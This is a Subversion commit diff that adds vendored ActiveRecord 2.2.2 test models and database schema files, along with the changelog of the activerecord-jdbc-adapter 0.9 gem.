Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/subject.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/subject.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/subject.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+# used for OracleSynonymTest, see test/synonym_test_oci.rb
+#
+class Subject < ActiveRecord::Base
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/subscriber.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/subscriber.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/subscriber.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,8 @@
+class Subscriber < ActiveRecord::Base
+  set_primary_key 'nick'
+  has_many :subscriptions
+  has_many :books, :through => :subscriptions
+end
+
+class SpecialSubscriber < Subscriber
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/subscription.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/subscription.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/subscription.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+class Subscription < ActiveRecord::Base
+  belongs_to :subscriber
+  belongs_to :book
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/tag.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/tag.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/tag.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,7 @@
+class Tag < ActiveRecord::Base
+  has_many :taggings
+  has_many :taggables, :through => :taggings
+  has_one  :tagging
+
+  has_many :tagged_posts, :through => :taggings, :source => :taggable, :source_type => 'Post'
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/tagging.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/tagging.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/tagging.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,10 @@
+# test that attr_readonly isn't called on the :taggable polymorphic association
+module Taggable
+end
+
+class Tagging < ActiveRecord::Base
+  belongs_to :tag, :include => :tagging
+  belongs_to :super_tag,   :class_name => 'Tag', :foreign_key => 'super_tag_id'
+  belongs_to :invalid_tag, :class_name => 'Tag', :foreign_key => 'tag_id'
+  belongs_to :taggable, :polymorphic => true, :counter_cache => true
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/task.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/task.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/task.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+class Task < ActiveRecord::Base
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/topic.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/topic.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/topic.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,69 @@
+class Topic < ActiveRecord::Base
+  named_scope :base
+  named_scope :written_before, lambda { |time|
+    { :conditions => ['written_on < ?', time] }
+  }
+  named_scope :approved, :conditions => {:approved => true}
+  named_scope :by_lifo, :conditions => {:author_name => 'lifo'}
+  
+  named_scope :approved_as_hash_condition, :conditions => {:topics => {:approved => true}}
+  named_scope 'approved_as_string', :conditions => {:approved => true}
+  named_scope :replied, :conditions => ['replies_count > 0']
+  named_scope :anonymous_extension do
+    def one
+      1
+    end
+  end
+  module NamedExtension
+    def two
+      2
+    end
+  end
+  module MultipleExtensionOne
+    def extension_one
+      1
+    end
+  end
+  module MultipleExtensionTwo
+    def extension_two
+      2
+    end
+  end
+  named_scope :named_extension, :extend => NamedExtension
+  named_scope :multiple_extensions, :extend => [MultipleExtensionTwo, MultipleExtensionOne]
+
+  has_many :replies, :dependent => :destroy, :foreign_key => "parent_id"
+  serialize :content
+
+  before_create  :default_written_on
+  before_destroy :destroy_children
+
+  def parent
+    Topic.find(parent_id)
+  end
+
+  # trivial method for testing Array#to_xml with :methods
+  def topic_id
+    id
+  end
+
+  protected
+    def approved=(val)
+      @custom_approved = val
+      write_attribute(:approved, val)
+    end
+
+    def default_written_on
+      self.written_on = Time.now unless attribute_present?("written_on")
+    end
+
+    def destroy_children
+      self.class.delete_all "parent_id = #{id}"
+    end
+
+    def after_initialize
+      if self.new_record?
+        self.author_email_address = 'test at test.com'
+      end
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/treasure.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/treasure.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/treasure.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,6 @@
+class Treasure < ActiveRecord::Base
+  has_and_belongs_to_many :parrots
+  belongs_to :looter, :polymorphic => true
+
+  has_many :price_estimates, :as => :estimate_of
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/vertex.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/vertex.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/vertex.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+# This class models a vertex in a directed graph.
+class Vertex < ActiveRecord::Base
+  has_many :sink_edges, :class_name => 'Edge', :foreign_key => 'source_id'
+  has_many :sinks, :through => :sink_edges
+
+  has_and_belongs_to_many :sources,
+    :class_name => 'Vertex', :join_table => 'edges',
+    :foreign_key => 'sink_id', :association_foreign_key => 'source_id'
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/warehouse_thing.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/warehouse_thing.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/warehouse_thing.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+class WarehouseThing < ActiveRecord::Base
+  set_table_name "warehouse-things"
+
+  validates_uniqueness_of :value
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/schema/mysql_specific_schema.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/schema/mysql_specific_schema.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/schema/mysql_specific_schema.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,12 @@
+ActiveRecord::Schema.define do
+  create_table :binary_fields, :force => true, :options => 'CHARACTER SET latin1' do |t|
+    t.binary :tiny_blob,   :limit => 255
+    t.binary :normal_blob, :limit => 65535
+    t.binary :medium_blob, :limit => 16777215
+    t.binary :long_blob,   :limit => 2147483647
+    t.text   :tiny_text,   :limit => 255
+    t.text   :normal_text, :limit => 65535
+    t.text   :medium_text, :limit => 16777215
+    t.text   :long_text,   :limit => 2147483647
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/schema/postgresql_specific_schema.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/schema/postgresql_specific_schema.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/schema/postgresql_specific_schema.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,103 @@
+ActiveRecord::Schema.define do
+
+  %w(postgresql_arrays postgresql_moneys postgresql_numbers postgresql_times postgresql_network_addresses postgresql_bit_strings
+      postgresql_oids defaults geometrics).each do |table_name|
+    execute "DROP TABLE  IF EXISTS #{quote_table_name table_name}"
+  end
+
+  execute 'DROP SEQUENCE IF EXISTS companies_nonstd_seq CASCADE'
+  execute 'CREATE SEQUENCE companies_nonstd_seq START 101 OWNED BY companies.id'
+  execute "ALTER TABLE companies ALTER COLUMN id SET DEFAULT nextval('companies_nonstd_seq')"
+  execute 'DROP SEQUENCE IF EXISTS companies_id_seq'
+
+  %w(accounts_id_seq developers_id_seq projects_id_seq topics_id_seq customers_id_seq orders_id_seq).each do |seq_name|
+    execute "SELECT setval('#{seq_name}', 100)"
+  end
+
+  execute <<_SQL
+    CREATE TABLE defaults (
+    id serial primary key,
+    modified_date date default CURRENT_DATE,
+    modified_date_function date default now(),
+    fixed_date date default '2004-01-01',
+    modified_time timestamp default CURRENT_TIMESTAMP,
+    modified_time_function timestamp default now(),
+    fixed_time timestamp default '2004-01-01 00:00:00.000000-00',
+    char1 char(1) default 'Y',
+    char2 character varying(50) default 'a varchar field',
+    char3 text default 'a text field',
+    positive_integer integer default 1,
+    negative_integer integer default -1,
+    decimal_number decimal(3,2) default 2.78,
+    multiline_default text DEFAULT '--- []
+
+'::text
+);
+_SQL
+
+    execute <<_SQL
+  CREATE TABLE geometrics (
+    id serial primary key,
+    a_point point,
+    -- a_line line, (the line type is currently not implemented in postgresql)
+    a_line_segment lseg,
+    a_box box,
+    a_path path,
+    a_polygon polygon,
+    a_circle circle
+  );
+_SQL
+
+  execute <<_SQL
+  CREATE TABLE postgresql_arrays (
+    id SERIAL PRIMARY KEY,
+    commission_by_quarter INTEGER[],
+    nicknames TEXT[]
+  );
+_SQL
+  execute <<_SQL
+  CREATE TABLE postgresql_moneys (
+    id SERIAL PRIMARY KEY,
+    wealth MONEY
+  );
+_SQL
+
+  execute <<_SQL
+  CREATE TABLE postgresql_numbers (
+    id SERIAL PRIMARY KEY,
+    single REAL,
+    double DOUBLE PRECISION
+  );
+_SQL
+
+  execute <<_SQL
+  CREATE TABLE postgresql_times (
+    id SERIAL PRIMARY KEY,
+    time_interval INTERVAL
+  );
+_SQL
+
+  execute <<_SQL
+  CREATE TABLE postgresql_network_addresses (
+    id SERIAL PRIMARY KEY,
+    cidr_address CIDR,
+    inet_address INET,
+    mac_address MACADDR
+  );
+_SQL
+
+  execute <<_SQL
+  CREATE TABLE postgresql_bit_strings (
+    id SERIAL PRIMARY KEY,
+    bit_string BIT(8),
+    bit_string_varying BIT VARYING(8)
+  );
+_SQL
+
+  execute <<_SQL
+  CREATE TABLE postgresql_oids (
+    id SERIAL PRIMARY KEY,
+    obj_id OID
+  );
+_SQL
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/schema/schema.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/schema/schema.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/schema/schema.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,440 @@
+
+ActiveRecord::Schema.define do
+  def except(adapter_names_to_exclude)
+    unless [adapter_names_to_exclude].flatten.include?(adapter_name)
+      yield
+    end
+  end
+
+  #put adapter specific setup here
+  case adapter_name
+    # For Firebird, set the sequence values 10000 when create_table is called;
+    # this prevents primary key collisions between "normally" created records
+    # and fixture-based (YAML) records.
+  when "Firebird"
+    def create_table(*args, &block)
+      ActiveRecord::Base.connection.create_table(*args, &block)
+      ActiveRecord::Base.connection.execute "SET GENERATOR #{args.first}_seq TO 10000"
+    end
+  end
+
+
+  # Please keep these create table statements in alphabetical order
+  # unless the ordering matters.  In which case, define them below
+  create_table :accounts, :force => true do |t|
+    t.integer :firm_id
+    t.integer :credit_limit
+  end
+
+  create_table :audit_logs, :force => true do |t|
+    t.column :message, :string, :null=>false
+    t.column :developer_id, :integer, :null=>false
+  end
+
+  create_table :authors, :force => true do |t|
+    t.string :name, :null => false
+    t.integer :author_address_id
+    t.integer :author_address_extra_id
+  end
+
+  create_table :author_addresses, :force => true do |t|
+  end
+
+  create_table :author_favorites, :force => true do |t|
+    t.column :author_id, :integer
+    t.column :favorite_author_id, :integer
+  end
+
+
+  create_table :auto_id_tests, :force => true, :id => false do |t|
+    t.primary_key :auto_id
+    t.integer     :value
+  end
+
+  create_table :binaries, :force => true do |t|
+    t.binary :data
+  end
+
+  create_table :books, :force => true do |t|
+    t.column :name, :string
+  end
+
+  create_table :booleantests, :force => true do |t|
+    t.boolean :value
+  end
+
+  create_table :categories, :force => true do |t|
+    t.string :name, :null => false
+    t.string :type
+    t.integer :categorizations_count
+  end
+
+  create_table :categories_posts, :force => true, :id => false do |t|
+    t.integer :category_id, :null => false
+    t.integer :post_id, :null => false
+  end
+
+  create_table :categorizations, :force => true do |t|
+    t.column :category_id, :integer
+    t.column :post_id, :integer
+    t.column :author_id, :integer
+  end
+
+  create_table :citations, :force => true do |t|
+    t.column :book1_id, :integer
+    t.column :book2_id, :integer
+  end
+
+  create_table :clubs, :force => true do |t|
+    t.string :name
+  end
+
+  create_table :colnametests, :force => true do |t|
+    t.integer :references, :null => false
+  end
+
+  create_table :comments, :force => true do |t|
+    t.integer :post_id, :null => false
+    t.text    :body, :null => false
+    t.string  :type
+  end
+
+  create_table :companies, :force => true do |t|
+    t.string  :type
+    t.string  :ruby_type
+    t.integer :firm_id
+    t.string  :firm_name
+    t.string  :name
+    t.integer :client_of
+    t.integer :rating, :default => 1
+  end
+
+  create_table :computers, :force => true do |t|
+    t.integer :developer, :null => false
+    t.integer :extendedWarranty, :null => false
+  end
+
+
+  create_table :customers, :force => true do |t|
+    t.string  :name
+    t.integer :balance, :default => 0
+    t.string  :address_street
+    t.string  :address_city
+    t.string  :address_country
+    t.string  :gps_location
+  end
+
+  create_table :developers, :force => true do |t|
+    t.string   :name
+    t.integer  :salary, :default => 70000
+    t.datetime :created_at
+    t.datetime :updated_at
+  end
+
+  create_table :developers_projects, :force => true, :id => false do |t|
+    t.integer :developer_id, :null => false
+    t.integer :project_id, :null => false
+    t.date    :joined_on
+    t.integer :access_level, :default => 1
+  end
+
+  create_table :edges, :force => true do |t|
+    t.column :source_id, :integer, :null => false
+    t.column :sink_id,   :integer, :null => false
+  end
+  add_index :edges, [:source_id, :sink_id], :unique => true, :name => 'unique_edge_index'
+
+
+  create_table :entrants, :force => true do |t|
+    t.string  :name, :null => false
+    t.integer :course_id, :null => false
+  end
+
+  create_table :funny_jokes, :force => true do |t|
+    t.string :name
+  end
+
+  create_table :items, :force => true do |t|
+    t.column :name, :integer
+  end
+
+  create_table :inept_wizards, :force => true do |t|
+    t.column :name, :string, :null => false
+    t.column :city, :string, :null => false
+    t.column :type, :string
+  end
+
+
+  create_table :jobs, :force => true do |t|
+    t.integer :ideal_reference_id
+  end
+
+  create_table :keyboards, :force => true, :id  => false do |t|
+    t.primary_key :key_number
+    t.string      :name
+  end
+
+  create_table :legacy_things, :force => true do |t|
+    t.integer :tps_report_number
+    t.integer :version, :null => false, :default => 0
+  end
+
+  create_table :lock_without_defaults, :force => true do |t|
+    t.column :lock_version, :integer
+  end
+
+  create_table :lock_without_defaults_cust, :force => true do |t|
+    t.column :custom_lock_version, :integer
+  end
+
+  create_table :mateys, :id => false, :force => true do |t|
+    t.column :pirate_id, :integer
+    t.column :target_id, :integer
+    t.column :weight, :integer
+  end
+
+  create_table :members, :force => true do |t|
+    t.string :name
+  end
+
+  create_table :member_details, :force => true do |t|
+    t.integer :member_id
+    t.integer :organization_id
+    t.string :extra_data
+  end
+
+  create_table :memberships, :force => true do |t|
+    t.datetime :joined_on
+    t.integer :club_id, :member_id
+    t.boolean :favourite, :default => false
+    t.string :type
+  end
+
+  create_table :references, :force => true do |t|
+    t.integer :person_id
+    t.integer :job_id
+    t.boolean :favourite
+    t.integer :lock_version, :default => 0
+  end
+
+  create_table :minimalistics, :force => true do |t|
+  end
+
+  create_table :mixed_case_monkeys, :force => true, :id => false do |t|
+    t.primary_key :monkeyID
+    t.integer     :fleaCount
+  end
+
+  create_table :mixins, :force => true do |t|
+    t.integer  :parent_id
+    t.integer  :pos
+    t.datetime :created_at
+    t.datetime :updated_at
+    t.integer  :lft
+    t.integer  :rgt
+    t.integer  :root_id
+    t.string   :type
+  end
+
+  create_table :movies, :force => true, :id => false do |t|
+    t.primary_key :movieid
+    t.string      :name
+  end
+
+  create_table :numeric_data, :force => true do |t|
+    t.decimal :bank_balance, :precision => 10, :scale => 2
+    t.decimal :big_bank_balance, :precision => 15, :scale => 2
+    t.decimal :world_population, :precision => 10, :scale => 0
+    t.decimal :my_house_population, :precision => 2, :scale => 0
+    t.decimal :decimal_number_with_default, :precision => 3, :scale => 2, :default => 2.78
+  end
+
+  create_table :orders, :force => true do |t|
+    t.string  :name
+    t.integer :billing_customer_id
+    t.integer :shipping_customer_id
+  end
+
+  create_table :organizations, :force => true do |t|
+    t.string :name
+  end
+
+  create_table :owners, :primary_key => :owner_id ,:force => true do |t|
+    t.string :name
+  end
+
+
+  create_table :paint_colors, :force => true do |t|
+    t.integer :non_poly_one_id
+  end
+
+  create_table :paint_textures, :force => true do |t|
+    t.integer :non_poly_two_id
+  end
+
+  create_table :parrots, :force => true do |t|
+    t.column :name, :string
+    t.column :parrot_sti_class, :string
+    t.column :killer_id, :integer
+    t.column :created_at, :datetime
+    t.column :created_on, :datetime
+    t.column :updated_at, :datetime
+    t.column :updated_on, :datetime
+  end
+
+  create_table :parrots_pirates, :id => false, :force => true do |t|
+    t.column :parrot_id, :integer
+    t.column :pirate_id, :integer
+  end
+
+  create_table :parrots_treasures, :id => false, :force => true do |t|
+    t.column :parrot_id, :integer
+    t.column :treasure_id, :integer
+  end
+
+  create_table :people, :force => true do |t|
+    t.string  :first_name, :null => false
+    t.integer :lock_version, :null => false, :default => 0
+  end
+
+  create_table :pets, :primary_key => :pet_id ,:force => true do |t|
+    t.string :name
+    t.integer :owner_id, :integer
+  end
+
+  create_table :pirates, :force => true do |t|
+    t.column :catchphrase, :string
+    t.column :parrot_id, :integer
+    t.column :created_on, :datetime
+    t.column :updated_on, :datetime
+  end
+
+  create_table :posts, :force => true do |t|
+    t.integer :author_id
+    t.string  :title, :null => false
+    t.text    :body, :null => false
+    t.string  :type
+    t.integer :comments_count, :default => 0
+    t.integer :taggings_count, :default => 0
+  end
+
+  create_table :price_estimates, :force => true do |t|
+    t.string :estimate_of_type
+    t.integer :estimate_of_id
+    t.integer :price
+  end
+
+  create_table :projects, :force => true do |t|
+    t.string :name
+    t.string :type
+  end
+
+  create_table :readers, :force => true do |t|
+    t.integer :post_id, :null => false
+    t.integer :person_id, :null => false
+  end
+
+  create_table :shape_expressions, :force => true do |t|
+    t.string  :paint_type
+    t.integer :paint_id
+    t.string  :shape_type
+    t.integer :shape_id
+  end
+
+  create_table :ships, :force => true do |t|
+    t.string :name
+    t.datetime :created_at
+    t.datetime :created_on
+    t.datetime :updated_at
+    t.datetime :updated_on
+  end
+
+  create_table :sponsors, :force => true do |t|
+    t.integer :club_id
+    t.integer :sponsorable_id
+    t.string :sponsorable_type
+  end
+
+  create_table :subscribers, :force => true, :id => false do |t|
+    t.string :nick, :null => false
+    t.string :name
+  end
+  add_index :subscribers, :nick, :unique => true
+
+  create_table :subscriptions, :force => true do |t|
+    t.string :subscriber_id
+    t.integer :book_id
+  end
+
+  create_table :tasks, :force => true do |t|
+    t.datetime :starting
+    t.datetime :ending
+  end
+
+  create_table :topics, :force => true do |t|
+    t.string   :title
+    t.string   :author_name
+    t.string   :author_email_address
+    t.datetime :written_on
+    t.time     :bonus_time
+    t.date     :last_read
+    t.text     :content
+    t.boolean  :approved, :default => true
+    t.integer  :replies_count, :default => 0
+    t.integer  :parent_id
+    t.string   :type
+  end
+
+  create_table :taggings, :force => true do |t|
+    t.column :tag_id, :integer
+    t.column :super_tag_id, :integer
+    t.column :taggable_type, :string
+    t.column :taggable_id, :integer
+  end
+
+  create_table :tags, :force => true do |t|
+    t.column :name, :string
+    t.column :taggings_count, :integer, :default => 0
+  end
+
+  create_table :treasures, :force => true do |t|
+    t.column :name, :string
+    t.column :looter_id, :integer
+    t.column :looter_type, :string
+  end
+
+  create_table :vertices, :force => true do |t|
+    t.column :label, :string
+  end
+
+  create_table 'warehouse-things', :force => true do |t|
+    t.integer :value
+  end
+
+  [:circles, :squares, :triangles, :non_poly_ones, :non_poly_twos].each do |t|
+    create_table(t, :force => true) { }
+  end
+
+  create_table :guids, :force => true do |t|
+    t.column :key, :string
+  end
+
+  create_table :integer_limits, :force => true do |t|
+    t.integer :"c_int_without_limit"
+    (1..8).each do |i|
+      t.integer :"c_int_#{i}", :limit => i
+    end
+  end
+
+  except 'SQLite' do
+    # fk_test_has_fk should be before fk_test_has_pk
+    create_table :fk_test_has_fk, :force => true do |t|
+      t.integer :fk_id, :null => false
+    end
+
+    create_table :fk_test_has_pk, :force => true do |t|
+    end
+
+    execute "ALTER TABLE fk_test_has_fk ADD CONSTRAINT fk_name FOREIGN KEY (#{quote_column_name 'fk_id'}) REFERENCES #{quote_table_name 'fk_test_has_pk'} (#{quote_column_name 'id'})"
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/schema/schema2.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/schema/schema2.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/schema/schema2.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,6 @@
+ActiveRecord::Schema.define do
+
+  Course.connection.create_table :courses, :force => true do |t|
+    t.column :name, :string, :null => false
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/schema/sqlite_specific_schema.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/schema/sqlite_specific_schema.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/schema/sqlite_specific_schema.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,25 @@
+ActiveRecord::Schema.define do
+  # For sqlite 3.1.0+, make a table with a autoincrement column
+  if supports_autoincrement?
+    create_table :table_with_autoincrement, :force => true do |t|
+      t.column :name, :string
+    end
+  end
+
+  execute "DROP TABLE fk_test_has_fk" rescue nil
+  execute "DROP TABLE fk_test_has_pk" rescue nil
+  execute <<_SQL
+  CREATE TABLE 'fk_test_has_pk' (
+    'id' INTEGER NOT NULL PRIMARY KEY
+  );
+_SQL
+
+  execute <<_SQL
+  CREATE TABLE 'fk_test_has_fk' (
+    'id'    INTEGER NOT NULL PRIMARY KEY,
+    'fk_id' INTEGER NOT NULL,
+
+    FOREIGN KEY ('fk_id') REFERENCES 'fk_test_has_pk'('id')
+  );
+_SQL
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/History.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/History.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/History.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,169 @@
+== 0.9
+
+- Now updated to support ActiveRecord 2.2. JNDI-based connections will
+  automatically connect/disconnect for every AR connection pool
+  checkout/checkin. For best results, set your pool: parameter >= the
+  actual maximum size of the JNDI connection pool. (We'll look at how
+  to eliminate the need to configure AR's pool in the future.)
+- NEW! Informix support courtesy of Javier Fernandez-Ivern.
+- Backport another Oracle CLOB issue, thanks Edson César.
+- Rubyforge #22018: chomp final trailing semicolon for oracle
+- JRUBY-2848: Fix NPE error in set_native_database_types
+- Rework oracle lob saving callback to be Rails 2.1 friendly (assist
+  from court3nay)
+- JRUBY-2715: Add create/drop database methods to Postgres (Peter Williams)
+- JRUBY-3183: Fix structure dump for Postgres (Ryan Bell)
+- JRUBY-3184: recreate_database for test database working for PG (Ryan Bell)
+- JRUBY-3186: disable referential integrity for PG (Ryan Bell)
+- Authoritative repository now hosted at
+  git://github.com/nicksieger/activerecord-jdbc-adapter.git; rubyforge
+  svn trunk cleaned out.
+
+== 0.8.2
+
+- Added an optional config key called :dialect. Using :dialect allows you to
+  override the default SQL dialect for the driver class being used. There are
+  a few cases for this:
+  - Using using Sybase w/ the jTDS driver.
+  - Using rebranded drivers.
+  - It makes more sense to use :dialect, rather then :driver when using JNDI.
+- JRUBY-2619: Typo with :test config causing problems with dev database (Igor Minar)
+- 20524, JRUBY-2612: Since when did I think that there was a #true? method on Object?
+
+== 0.8.1
+
+- Now sporting a JDBC sqlite3 adapter! Thanks Joseph Athman.
+- Added support for InterSystems Cache database (Ryan Bell)
+- Fix for JRUBY-2256
+- JRUBY-1638, JRUBY-2404, JRUBY-2463: schema.table handling and Oracle NUMBER fixes (Darcy Schultz & Jesse Hu)
+- Add structure dump and other DDL-ish for DB2 (courtesy abedra and stuarthalloway)
+- Fix missing quote_table_name function under Rails 1.2.6 and earlier
+- Small tweaks to jdbc.rake to select proper config
+- JRUBY-2011: Fix MSSQL string un-quoting issue (Silvio Fonseca)
+- JRUBY-1977, 17427: Fix information_schema select issue with MSSQL (Matt Burke)
+- 20479: Improve get_table_name for MSSQL (Aslak Hellesøy)
+- 20243: numerics improvements for MSSQL (Aslak Hellesøy)
+- 20172: don't quote table names for MSSQL (Thor Marius Henrichsen)
+- 19729: check for primary key existence in postgres during insert (Martin Luder)
+- JRUBY-2297, 18846: retrying failing SQL statements is harmful when not autocommitting (Craig McMillan)
+- 10021: very preliminary sybase support. (Mark Atkinson) Not usable until collision w/ sqlserver driver is resolved.
+- JRUBY-2312, JRUBY-2319, JRUBY-2322: Oracle timestamping issues (Jesse Hu & Michael König)
+- JRUBY-2422: Fix MySQL referential integrity and rollback issues
+- JRUBY-2382: mysql string quoting fails with ArrayIndexOutofBoundsException
+
+== 0.8
+
+- NOTE: This release is only compatible with JRuby 1.1RC3 or later.
+- Because of recent API changes in trunk in preparation for JRuby 1.1, this release is not
+  backward compatible with previous JRuby releases. Hence the version bump.
+- Internal: convert Java methods to be defined with annotations
+- Fix problem with reserved words coming back pre-quoted from #indexes in postgres
+- JRUBY-2205: Fix N^2 allocation of bytelists for mysql quoting (taw)
+- Attempt a fix for Rubyforge 18059
+- Upgrade derby to 10.3.2.1
+- Fix db:create etc. in the case where JDBC is loaded in Rails' preinitializer.rb
+- Fix db:drop to actually work
+- Fix for Rubyforge #11567 (Matt Williams)
+
+== 0.7.2
+
+- JRUBY-1905: add_column for derby, hsqldb, and postgresql (Stephen Bannasch)
+- Fix db:create for JDBC
+- Support Rails 2 with the old "require 'jdbc_adapter'" approach
+- JRUBY-1966: Instead of searching for just tables, search for views and tables.
+- JRUBY-1583: DB2 numeric quoting (Ryan Shillington)
+- JRUBY-1634: Oracle DATE type mapping (Daniel Wintschel)
+- JRUBY-1543: rename_column issue with more recent MySQL drivers (Oliver Schmelzle)
+- Rubyforge #15074: ConnectionAdapters::JdbcAdapter.indexes is missing name and
+  schema_name parameters in the method signature (Igor Minar)
+- Rubyforge #13558: definition for the indexes method (T Meyarivan)
+- JRUBY-2051: handle schemaname and tablename more correctly for columns
+- JRUBY-2102: Postgres Adapter cannot handle datetime type (Rainer Hahnekamp)
+- JRUBY-2018: Oracle behind ActiveRecord-JDBC fails with "Invalid column index" (K Venkatasubramaniyan)
+- JRUBY-2012: jdbc_mysql structure dump fails for mysql views (Tyler Jennings)
+
+== 0.7.1
+
+- Add adapter and driver for H2 courtesy of Caleb Land
+- Fix "undefined method `last' for {}:Hash" error introduced with new Rake 0.8.1 (JRUBY-1859)
+
+== 0.7
+
+- PLEASE NOTE: This release is not compatible with JRuby releases earlier than
+  1.0.3 or 1.1b2. If you must use JRuby 1.0.2 or earlier, please install the
+  0.6 release.
+- Release coincides with JRuby 1.0.3 and JRuby 1.1b2 releases
+- Simultaneous support for JRuby trunk and 1.0 branch
+- Get rid of log_no_bench method, so we time SQL execution again.
+- Implement #select_rows
+- MySQL migration and quoting updates
+
+== 0.6
+
+- Gem is renamed to "activerecord-jdbc-adapter" to follow new conventions
+  introduced in Rails 2.0 for third-party adapters. Rails 2.0 compatibility is
+  introduced.
+- Add dependency on ActiveRecord >= 1.14 (from the Rails 1.1.x release)
+- New drivers (jdbc-XXX) and adapter (activerecord-jdbcXXX-adapter) gems
+  available separately. See the README.txt file for details.
